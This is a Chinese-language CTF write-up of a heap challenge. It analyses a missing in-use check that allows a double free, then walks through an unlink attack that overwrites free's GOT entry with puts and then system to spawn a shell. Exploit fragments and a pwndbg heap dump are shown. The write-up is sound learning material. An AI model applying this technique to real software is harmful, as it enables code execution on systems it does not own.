这个题和这次秋季赛的第四题很类似,都是利用的堆的unlink来溢出,然后system(“/bin/sh”)来提权的

所以打算先学习这个,然后再去自己做秋季赛第四题


官方writeup和题目下载链接


主要是看了这篇writeup:double free解法


double free,就是free两次(废话)

先来分析程序流程,再来说double free是个什么原理

name是提示我们输入的,menu是显示程序几个主要功能的选择项的(一般的pwn题都是这种格式)

点开menu,看到这个

结合IDA分析功能,1是创建新的堆块,2是删除,3是修改堆块内容,4没用

创建功能这里很重要:

totalnums是说总共创建了多少个堆块,在之前的if语句中有判断不能超过4个

6020c0地址这里保存的是每个堆块的大小,调试下可以看到

0xa0 = 160,0x64 = 100


下面两行代码有点绕,主要是6020e0和6020e8被IDA分开了,弄成了两个数组显示弄糊涂了

一个地址是6020e0,另一个是6020e8,所以在结构体中是相邻的

6020e8这个地方是个flag的标记,说明这个堆块是否用过了,6020e0这里是个指针,保存的是我们输入的堆块内容的地址的值


所以,我们可以利用IDA的struct,来方便我们识别

http://blog.csdn.net/hgy413/article/details/7104304

上面那个链接讲述了怎么使用

先在struct中新建个heap的struct,其中两个元素一个指针,一个flag标记,都是8个字节

然后去修改IDA中的显示

右击,set item type,输入你的struct名称,这里是heap

然后rename一下就好了


看到6020f0这一行,00603060是一个地址,保存了我们输入的堆块内容,后面的1是个标记,说明我们的第一个堆块是使用过的

这个函数的目前功能是没有问题的


分析delete函数

这里很明显就是少了一个判断条件:当你要free一个堆块的时候,一定要判断这个堆块的flag标记是否为1

这里的if语句没有这个判断,所以当第一次free了某个堆块之后,这里的flag标记改变为0,但是仍然可以free第二次,就造成了漏洞


于是,我们可以利用这个漏洞,进行unlink的操作(基本的堆块原理参考前面链接writeup)

我们的任务是,找到一个全局变量p,这个p指向堆的某个地址,想要对unlink进行操作

看到上图,构造的逻辑已经非常清楚了,我们怎么找到的P指针,结合double free的writeup,我们可以控制到想要写入的地址。

wp中构造的这个:

edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1))


意思是:把heap[1].ptr 修改为got_addr,heap[1].flag 修改为1,heap[2].ptr 修改为 got_addr + 8(),heap[2].flag 修改为1

看到这个got表,我们需要覆写的是free的地址

把free的地址写成system的地址,那么当执行free(0),也就是相当于system(“/bin/sh”)

可以利用的函数有puts

edit(1,p64(puts_plt))

这样,free.got = puts.plt

再执行free(2):就泄露出了当前libc在当前运行环境之下的puts的地址

有了puts的地址,结合puts和system的偏移就可以计算出system的地址

edit(1,p64(system_addr)) free(0)

再把free的地址覆盖成system的地址,执行free(0) = 执行system(“/bin/sh”)


那么问题来了:思路都对,为啥用作者的exp跑不过呢?gdb调试一发

(把自己的调试过程好好记录下)

利用的工具:github的pwndbg


把关键函数弄上断点


然后在gdb里就可以按 c 跳过中间步骤执行了

pwndbg> heap
Top Chunk: 0x22342a0
Last Remainder: 0

0x2234000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x10000000020, 
  bk = 0x100, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x31
}
0x2234020 FASTBIN {
  prev_size = 0x0, 
  size = 0x31, 
  fd = 0x7969646570, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x2234050 FASTBIN {
  prev_size = 0x0, 
  size = 0x31, 
  fd = 0x68732f6e69622f, 
  bk = 0x7f2ab7d3a768, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x7ffe5b734205
}
0x2234080 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x111, 
  fd = 0x42424242, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x2234190 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x111, 
  fd = 0x43434343, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x22342a0 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20d61, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

看到了0x42424242和0x43434343,说明我们的create函数执行没有问题


这是libc中的正常的got和plt,可以看到所有函数都是正常的


这个是在执行了edit(1,puts_plt)之后,我们的got表已经被覆写


这个是在执行了edit(1,system_addr)的时候,我们的free的地址改成的并不是system的地址!~!


这就是为啥作者的exp执行不了的原因:我们的puts和system的偏移不对!

因为用的是服务器上的libc环境,而我们在本地运行的时候,是本地的libc环境

所以,我们要查看本地libc环境!


看到了路径吗?

可以把它复制出来,用IDA看system和puts的地址

也可以用nm -D命令,结合grep命令,找到system和puts的地址


结果发现了:wp作者注释掉的puts和system,就是本地的哈哈哈哈

重要的还是思维,如何利用题目漏洞去构造

调试只是验证的辅助手段,菜鸡如我~~~